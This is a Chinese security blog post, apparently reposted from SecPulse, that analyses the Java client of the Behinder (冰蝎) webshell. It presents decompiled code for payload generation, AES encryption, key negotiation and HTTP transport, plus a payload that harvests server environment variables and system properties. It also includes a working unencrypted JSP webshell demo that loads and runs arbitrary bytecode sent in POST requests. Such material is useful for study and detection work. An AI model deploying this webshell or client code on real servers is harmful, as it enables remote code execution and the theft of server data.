冰蝎(二)Java客户端实现


前言

冰蝎解析(一)分析了Java服务端的具体实现,通过自定义类加载器ClassLoader.defineClass()实现将字节码加载至JVM中执行以达到执行任意Java代码的目的,那么接着上次的思路继续分析下冰蝎客户端的实现原理。

冰蝎Java客户端实现

利用jd-gui简单看下冰蝎的源码,其中net.rebeyond.behinder为其核心代码,其中core.ShellService.class为Webshell的操作类,负责调用其他类实现加解密、获取服务端基本信息、命令执行等;payload.java下class文件为Java服务端的具体实现,可以通过ASM框架可以修改其下class文件属性值生成可用payload字节数组;utils.Utils.class为通用操作的具体实现,如payload传输、接收返回结果并解析等。

图片[1]-冰蝎(二)Java客户端实现-NGC660安全实验室

如上,我们简单了解了冰蝎大致的源码结构。通过一个获取服务端基础信息的过程,我们再来看下冰蝎客户端的具体实现过程。

获取BasicInfo.class 字节数组

ShellService.class中getBasicInfo方法,调用Utils.getData方法获取payload.java下对应BasicInfo.class的字节数组;调用Utils.requestAndParse()发送payload并解析返回值。

 public String getBasicInfo(String whatever) throws Exception {    String result = "";    Map<String, String> params = new LinkedHashMap<>();    params.put("whatever", whatever);     //获取BasicInfo.class 字节数据,其中包含此payload的解密与生成过程    byte[] data = Utils.getData(this.currentKey, this.encryptType, "BasicInfo", params, this.currentType);    //发送payload并解析返回结果     Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);    byte[] resData = (byte[])resultObj.get("data");    try {      //解密返回结果        result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));    } catch (Exception e) {      throw new Exception("+ new String(resData, "UTF-8"));    }     return result;  }

跟进去到Utils.getData(),当传入的type参数为jsp时进入Params.getParamedClass(),获取对应className的字节数组,将其加密和编码处理并返回。

图片[2]-冰蝎(二)Java客户端实现-NGC660安全实验室
 public static byte[] getData(String key, int encryptType, String className, Map<String, String> params, String type, byte[] extraData) throws Exception {    if (type.equals("jsp")) {      byte[] bincls = Params.getParamedClass(className, params);      if (extraData != null)        bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData });       byte[] encrypedBincls = Crypt.Encrypt(bincls, key);      String basedEncryBincls = Base64.encode(encrypedBincls);      return basedEncryBincls.getBytes();    }     if (type.equals("php")) {      byte[] bincls = Params.getParamedPhp(className, params);      bincls = Base64.encode(bincls).getBytes();      bincls = ("assert|eval(base64_decode('" + new String(bincls) + "'));").getBytes();      if (extraData != null)        bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData });       byte[] encrypedBincls = Crypt.EncryptForPhp(bincls, key, encryptType);      return Base64.encode(encrypedBincls).getBytes();    }     if (type.equals("aspx")) {      byte[] bincls = Params.getParamedAssembly(className, params);      if (extraData != null)        bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData });       byte[] encrypedBincls = Crypt.EncryptForCSharp(bincls, key);      return encrypedBincls;    }     if (type.equals("asp")) {      byte[] bincls = Params.getParamedAsp(className, params);      if (extraData != null)        bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData });       byte[] encrypedBincls = Crypt.EncryptForAsp(bincls, key);      return encrypedBincls;    }     return null;  }  
继续进入Params.getParamedClass(className, params)方法,通过ASM框架将clsName对应的class文件转化成字节数组并返回。
public static byte[] getParamedClass(String clsName, final Map<String, String> params) throws Exception {    String clsPath = String.format("net/rebeyond/behinder/payload/java/%s.class", new Object[] { clsName });    ClassReader classReader = new ClassReader(String.format("net.rebeyond.behinder.payload.java.%s", new Object[] { clsName }));    ClassWriter cw = new ClassWriter(1);    classReader.accept((ClassVisitor)new ClassAdapter((ClassVisitor)cw) {          public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) {            if (params.containsKey(filedName)) {              String paramValue = (String)params.get(filedName);              return super.visitField(arg0, filedName, arg2, arg3, paramValue);            }             return super.visitField(arg0, filedName, arg2, arg3, arg4);          }        }0);    byte[] result = cw.toByteArray();    String oldClassName = String.format("net/rebeyond/behinder/payload/java/%s", new Object[] { clsName });    if (!clsName.equals("LoadNativeLibrary")) {      String newClassName = getRandomClassName(oldClassName);      result = Utils.replaceBytes(result, Utils.mergeBytes(new byte[] { (byte)(oldClassName.length() + 2), 76 }, oldClassName.getBytes()), Utils.mergeBytes(new byte[] { (byte)(newClassName.length() + 2), 76 }, newClassName.getBytes()));      result = Utils.replaceBytes(result, Utils.mergeBytes(new byte[] { (byte)oldClassName.length() }, oldClassName.getBytes()), Utils.mergeBytes(new byte[] { (byte)newClassName.length() }, newClassName.getBytes()));    }     result[7] = 50;    return result;  }

BasicInfo.class的具体实现

以上完成了对应payload.java.BasicInfo.class的字节数组生成与加密过程,看下BasicInfo的具体实现。BaisicInfo.class中重写了equals方法,在此方法中完成了response、response、seesion对象的获取;服务端基本信息的获取、加密;结果的返回和解析。

public boolean equals(Object obj) {    String result = "";    try {        //获取response、response、seesion对象      fillContext(obj);        //获取服务端基本信息      StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量</font></br>");      Map<String, String> env = System.getenv();      for (String name : env.keySet())        basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");       basicInfo.append("<br/><font size=2 color=red>JRE系统属性</font></br>");      Properties props = System.getProperties();      Set<Map.Entry<Object, Object>> entrySet = props.entrySet();      for (Map.Entry<Object, Object> entry : entrySet)        basicInfo.append((new StringBuilder()).append(entry.getKey()).append(" = ").append(entry.getValue()).append("<br/>").toString());       String currentPath = (new File("")).getAbsolutePath();      String driveList = "";      File[] roots = File.listRoots();      for (File f : roots)        driveList = driveList + f.getPath() + ";";       String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");      Map<String, String> entity = new HashMap<>();      entity.put("basicInfo", basicInfo.toString());      entity.put("currentPath", currentPath);      entity.put("driveList", driveList);      entity.put("osInfo", osInfo);      entity.put("arch", System.getProperty("os.arch"));        //将结果写入json字符串      result = buildJson(entity, true);    } catch (Exception exception) {      try {                  Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);        Method write = so.getClass().getMethod("write", new Class[] { byte[].class });        write.invoke(so, new Object[] { Encrypt(result.getBytes("UTF-8")) });        so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);        so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);      } catch (Exception exception1) {}    } finally {      try {          //将结果写入response对象        Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);        Method write = so.getClass().getMethod("write", new Class[] { byte[].class });        write.invoke(so, new Object[] { Encrypt(result.getBytes("UTF-8")) });        so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);        so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);      } catch (Exception exception) {}    }     return true;  }private void fillContext(Object obj) throws Exception {    if (obj.getClass().getName().indexOf("PageContext") >= 0) {      this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);      this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);      this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]);    } else {      Map<String, Object> objMap = (Map<String, Object>)obj;      this.Session = objMap.get("session");      this.Response = objMap.get("response");      this.Request = objMap.get("request");    }     this.Response.getClass().getMethod("setCharacterEncoding", new Class[] { String.class }).invoke(this.Response, new Object[] { "UTF-8" });  }//将服务端基本信息写入json字符串的具体实现private String buildJson(Map<String, String> entity, boolean encode) throws Exception {    StringBuilder sb = new StringBuilder();    String version = System.getProperty("java.version");    sb.append("{");    for (String key : entity.keySet()) {      sb.append(""" + key + "":"");      String value = ((String)entity.get(key)).toString();      if (encode)        if (version.compareTo("1.9") >= 0) {          getClass();          Class<?> Base64 = Class.forName("java.util.Base64");          Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);          value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { value.getBytes("UTF-8") });        } else {          getClass();          Class<?> Base64 = Class.forName("sun.misc.BASE64Encoder");          Object Encoder = Base64.newInstance();          value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { value.getBytes("UTF-8") });          value = value.replace("n", "").replace("r", "");        }        sb.append(value);      sb.append("",");    }     sb.setLength(sb.length() - 1);    sb.append("}");    return sb.toString();  }//AES加密结果private byte[] Encrypt(byte[] bs) throws Exception {    String key = this.Session.getClass().getMethod("getAttribute", new Class[] { String.class }).invoke(this.Session, new Object[] { "u" }).toString();    byte[] raw = key.getBytes("utf-8");    SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");    Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");    cipher.init(1, skeySpec);    byte[] encrypted = cipher.doFinal(bs);    return encrypted;  }

发送payload并解析返回结果

Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);byte[] resData = (byte[])resultObj.get("data");try {    //解密返回结果    result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));    } catch (Exception e) {      throw new Exception("请求失败:"+ new String(resData, "UTF-8"));    } return result;

Utils.requestAndParse()

 public static Map<String, Object> requestAndParse(String urlPath, Map<String, String> header, byte[] data, int beginIndex, int endIndex) throws Exception {    Map<String, Object> resultObj = sendPostRequestBinary(urlPath, header, data);    byte[] resData = (byte[])resultObj.get("data");    if (beginIndex != 0 || endIndex != 0)      if (resData.length - endIndex >= beginIndex)        resData = Arrays.copyOfRange(resData, beginIndex, resData.length - endIndex);      resultObj.put("data", resData);    return resultObj;  }

Utils.sendPostRequestBinary():构造POST请求发送payload到服务端并获取response返回结果

public static Map<String, Object> sendPostRequestBinary(String urlPath, Map<String, String> header, byte[] data) throws Exception {    HttpURLConnection conn;    Map<String, Object> result = new HashMap<>();    ByteArrayOutputStream bos = new ByteArrayOutputStream();    URL url = new URL(urlPath);    if (MainController.currentProxy.get("proxy") != null) {      Proxy proxy = (Proxy)MainController.currentProxy.get("proxy");      conn = (HttpURLConnection)url.openConnection(proxy);    } else {      conn = (HttpURLConnection)url.openConnection();    }     conn.setConnectTimeout(15000);    conn.setUseCaches(false);    conn.setRequestMethod("POST");    if (header != null) {      Object[] keys = header.keySet().toArray();      Arrays.sort(keys);      for (Object key : keys)        conn.setRequestProperty(key.toString(), header.get(key));     }     conn.setDoOutput(true);    conn.setDoInput(true);    conn.setUseCaches(false);    OutputStream outwritestream = conn.getOutputStream();    outwritestream.write(data);    outwritestream.flush();    outwritestream.close();    if (conn.getResponseCode() == 200) {      String encoding = conn.getContentEncoding();      if (encoding != null) {        if (encoding != null && encoding.equals("gzip")) {          GZIPInputStream gZIPInputStream = null;          gZIPInputStream = new GZIPInputStream(conn.getInputStream());          DataInputStream din = new DataInputStream(gZIPInputStream);          byte[] buffer = new byte[1024];          int length = 0;          while ((length = din.read(buffer)) != -1)            bos.write(buffer, 0, length);         } else {          DataInputStream din = new DataInputStream(conn.getInputStream());          byte[] buffer = new byte[1024];          int length = 0;          while ((length = din.read(buffer)) != -1)            bos.write(buffer, 0, length);         }       } else {        DataInputStream din = new DataInputStream(conn.getInputStream());        byte[] buffer = new byte[1024];        int length = 0;        while ((length = din.read(buffer)) != -1)          bos.write(buffer, 0, length);       }     } else {      DataInputStream din = new DataInputStream(conn.getErrorStream());      byte[] buffer = new byte[1024];      int length = 0;      while ((length = din.read(buffer)) != -1)        bos.write(buffer, 0, length);       throw new Exception(new String(bos.toByteArray(), "GBK"));    }     byte[] resData = bos.toByteArray();    result.put("data", resData);    Map<String, String> responseHeader = new HashMap<>();    for (String key : conn.getHeaderFields().keySet())      responseHeader.put(key, conn.getHeaderField(key));     responseHeader.put("status", conn.getResponseCode() + "");    result.put("header", responseHeader);    return result;  }

在payload.java下所有的payload均是通过这种模式使用的。

图片[3]-冰蝎(二)Java客户端实现-NGC660安全实验室

编写一个Demo

编写一个无AES加密的冰蝎Demo实现获取服务端基本信息和命令执行,只需上述代码中加密部分删除并撤销密钥交换过程即可。更改后的shell.jsp

<%@ page import="java.util.Base64" %><%    class U extends ClassLoader{        Class g(byte[] bs){            return super.defineClass(bs,0,bs.length);        }    }    if (request.getMethod().equals("POST")){        byte[] bs = Base64.getDecoder().decode(request.getReader().readLine());        new U().g(bs).newInstance().equals(pageContext);    }%>
图片[4]-冰蝎(二)Java客户端实现-NGC660安全实验室
图片[5]-冰蝎(二)Java客户端实现-NGC660安全实验室

加密与密钥

payload加密

冰蝎使用AES加密传输payload,加密逻辑在net/rebeyond/core/Crypt.java。

图片[6]-冰蝎(二)Java客户端实现-NGC660安全实验室

在Utils.getData方法被调用将payload AES加密。

图片[7]-冰蝎(二)Java客户端实现-NGC660安全实验室

密钥协商

冰蝎3采用了预共享密钥确定密钥,逻辑代码为net/rebeyond/core/ShellService.java doConnect方法。

图片[8]-冰蝎(二)Java客户端实现-NGC660安全实验室

1、取客户端输入password MD5前16位作为currentKey。

this.currentKey = Utils.getKey(this.currentPassword);
图片[9]-冰蝎(二)Java客户端实现-NGC660安全实验室
图片[10]-冰蝎(二)Java客户端实现-NGC660安全实验室

2、环境为jsp,生成随机字符串content通过echo方法发送给服务端,payload加密使用的key为1中生成的key,以服务端返回值与content是否相等来判定客户端key是否正确;

图片[11]-冰蝎(二)Java客户端实现-NGC660安全实验室

其中echo方法的实现原理与getBasicInfo实现原理相同:通过ASM机制动态编译payload/java/Echo.java获取字节数组发送给服务端.

图片[12]-冰蝎(二)Java客户端实现-NGC660安全实验室
图片[13]-冰蝎(二)Java客户端实现-NGC660安全实验室

3、当预共享密钥交换失败时沿用冰蝎2方式交换密钥和cookie。

图片[14]-冰蝎(二)Java客户端实现-NGC660安全实验室

构造一个get请求发起握手,形如:http://1.1.1.1/bx.jsp?pass=123

图片[15]-冰蝎(二)Java客户端实现-NGC660安全实验室

结果判断和key提取

图片[16]-冰蝎(二)Java客户端实现-NGC660安全实验室

获取key的测试Demo,后续所有操作都依赖此key的加密。

图片[17]-冰蝎(二)Java客户端实现-NGC660安全实验室

总结

站在巨人肩膀上看世界。致谢项目作者:

rebeyond-https://github.com/rebeyond/Behinder

E

N

D

本文作者:TideSec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/190863.html

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    请登录后查看评论内容